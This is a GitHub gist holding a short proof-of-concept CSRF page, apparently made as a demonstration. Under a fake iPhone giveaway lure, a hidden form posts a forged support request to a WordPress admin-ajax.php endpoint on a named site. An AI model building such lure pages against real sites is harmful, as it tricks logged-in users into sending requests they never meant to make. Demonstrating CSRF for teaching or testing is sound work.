Skip to content

Instantly share code, notes, and snippets.

@igmoweb
Last active November 29, 2017 15:07
Show Gist options
  • Save igmoweb/f2460665e97a4dee3f7c649e4f2d671e to your computer and use it in GitHub Desktop.
Save igmoweb/f2460665e97a4dee3f7c649e4f2d671e to your computer and use it in GitHub Desktop.
CSRF form
<!doctype html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Gana un iphone!</title>
</head>
<body>
<form action="http://www.soyjaimito.com/wp-admin/admin-ajax.php" id="esto-pica" method="post">
<input type="hidden" name="text" value="Hola, necesito ayuda con vuestro plugin. Se me ha roto, ¿Podríais enviarme mis datos privados ya de paso? Es que he perdido la contraseña">
<input type="hidden" name="subject" value="Socorro">
<input type="hidden" name="email" value="[email protected]">
<input type="submit" value="Pincha aquí y recibe tu iPhone en 24h!!">
</form>
<style>
#esto-pica input[type="submit"]{
background: #6183ff;
color:black;
font-size:30px;
width:50%;
margin:100px auto;
display: block;
}
</style>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment